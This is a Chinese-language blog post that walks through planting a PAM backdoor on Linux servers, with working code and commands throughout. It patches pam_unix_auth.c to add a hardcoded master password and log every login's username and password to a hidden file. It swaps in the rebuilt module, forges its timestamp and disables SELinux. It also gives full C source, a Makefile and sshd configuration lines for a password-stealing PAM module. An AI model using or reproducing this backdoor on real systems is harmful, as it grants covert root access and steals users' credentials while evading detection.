后门-pam认证

后门-pam认证

参考资料
https://www.cnblogs.com/adhzl/p/12098397.html
https://www.cnblogs.com/-qing-/p/13178917.html
https://www.jianshu.com/p/4bd5ce0f5894 # Linux后门维系(三)—— PAM后门 + transfer.sh
https://www.ch1ng.com/blog/208.html # 使用 sshLooterC 抓取 SSH 密码

centos下简单使用--方式一

  1. 下载,环境,编译条件
    rpm -qa | grep pam
    
    各个版本的pam包下载地址:http://www.linux-pam.org/library/
    wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
    tar -zxvf Linux-PAM-1.1.8.tar.gz
    
    1.查看SELinux状态(https://blog.51cto.com/bguncle/957315)
    查看方式一: /usr/sbin/sestatus -v      ##如果SELinux status参数为enabled即为开启状态
    查看方式二: getenforce                 ##也可以用这个命令检查(实测使用这个)
    2.临时关闭(不用重启机器)
    setenforce 0                    设置SELinux 成为permissive模式(关闭SELinux)
    setenforce 1                    设置SELinux 成为enforcing模式(开启SELinux)
    
    yum -y install flex
    
  2. 修改内容
    修改 linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 中的内容
    if(strcmp("wang!@#123",p)==0){return PAM_SUCCESS;} 
     
    if(retval == PAM_SUCCESS){
            FILE * fp;
            fp = fopen("/bin/.sshlog", "a");
            fprintf(fp, "%s : %s\n", name, p);
            fclose(fp);
            }
    其中strcmp(p,"adhzl")中的adhzl为自己设置的root密码,可以用来登录root用户,/tmp/pam.txt为纪录的root用户的登录密码的路径和保存的文件名
    ############################################# 编译时出现的问题 ##################################################################
    修改 /root/Linux-PAM-1.1.8/conf/pam_conv1/pam_conv_l.c  添加 int yywrap(){return 1;}
    修改 /root/Linux-PAM-1.1.8/doc/specs/parse_l.c     添加 int yywrap(){return 1;}
    
  3. 编译
    ./configure
    make        # make clean
    编译完后的文件在:modules/pam_unix/.libs/pam_unix.so
    
  4. 备份/替换/修改时间戳
    sudo find / -name pam_unix.so        # 首先查找原来的pam_unix.so的路径
    cd /lib64/security/
    cp pam_unix.so pam_unix.so.bak        # 备份原来的pam_unix.so
    touch -r /lib64/security/pam_unix.so /lib64/security/pam_unix.so.bak  # touch -r test.txt test2.txt  是以test.txt的时间为基础
    
    如果selinux是开启的环境,一定要关掉或者设置好上下文pam_unix.so才能正常工作。
    查看selinux上下文:
    ls -Z pam_unix.so.bak
    设置selinux上下文:
    chcon –reference=pam_unix.so.bak pam_unix.so
    

简单使用--方式二

  1. 安装依赖

    https://github.com/mthbernardes/sshLooterC.git        # 项目地址
    
    Ubuntu
    apt-get install update
    apt install make gcc libcurl4-openssl-dev libpam0g-dev
    
    Centos
    yum -y install libcurl-devel openssl-devel pam-devel gcc
    
  2. 抓取密码源码

    #include <stdio.h>
    #include <stdlib.h>
    #include <curl/curl.h>
    #include <string.h>
    #include <security/pam_appl.h>
    #include <security/pam_modules.h>
    #include <unistd.h>
    
    size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)
    {
      return size * nmemb;
    }
    
    void saveMessage(char (*message)[]) {
      FILE *fp = NULL;
      fp = fopen("/tmp/.passwd", "a+");
      fputs(*message, fp);
      fclose(fp);
    }
    
    PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
      return PAM_SUCCESS;
    }
    
    PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
      return PAM_SUCCESS;
    }
    
    PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
      int retval;
      const char* username;
      const char* password;
      char message[1024];
      retval = pam_get_user(pamh, &username, "Username: ");
      pam_get_item(pamh, PAM_AUTHTOK, (void *) &password);
      if (retval != PAM_SUCCESS) {
        return retval;
      }
      snprintf(message,2048,"Username %s\nPassword: %s\n",username,password);
      saveMessage(&message);
      return PAM_SUCCESS;
    }
    ############################## Makefile ######################################
    CFLAGS += -Werror -Wall
    
    looter.so: looter.c
    	gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl
    
  3. 编译, 安装和部署

    make
    cp looter.so /lib/x86_64-linux-gnu/security
    
    sudo find / -name pam_unix.so        # 首先查找pam_unix.so的路径,生成的so文件放到同级下面
    
    然后编辑 sshd 文件
    vim /etc/pam.d/sshd
    
    在最后后面添加两句代码
    auth optional looter.so
    account optional looter.so
    
    重启 ssh 服务(实测未重启也可以抓到密码)
    service ssh restart
    
posted @ 2022-11-20 16:33  是谁走漏了消息  阅读(113)  评论(0编辑  收藏  举报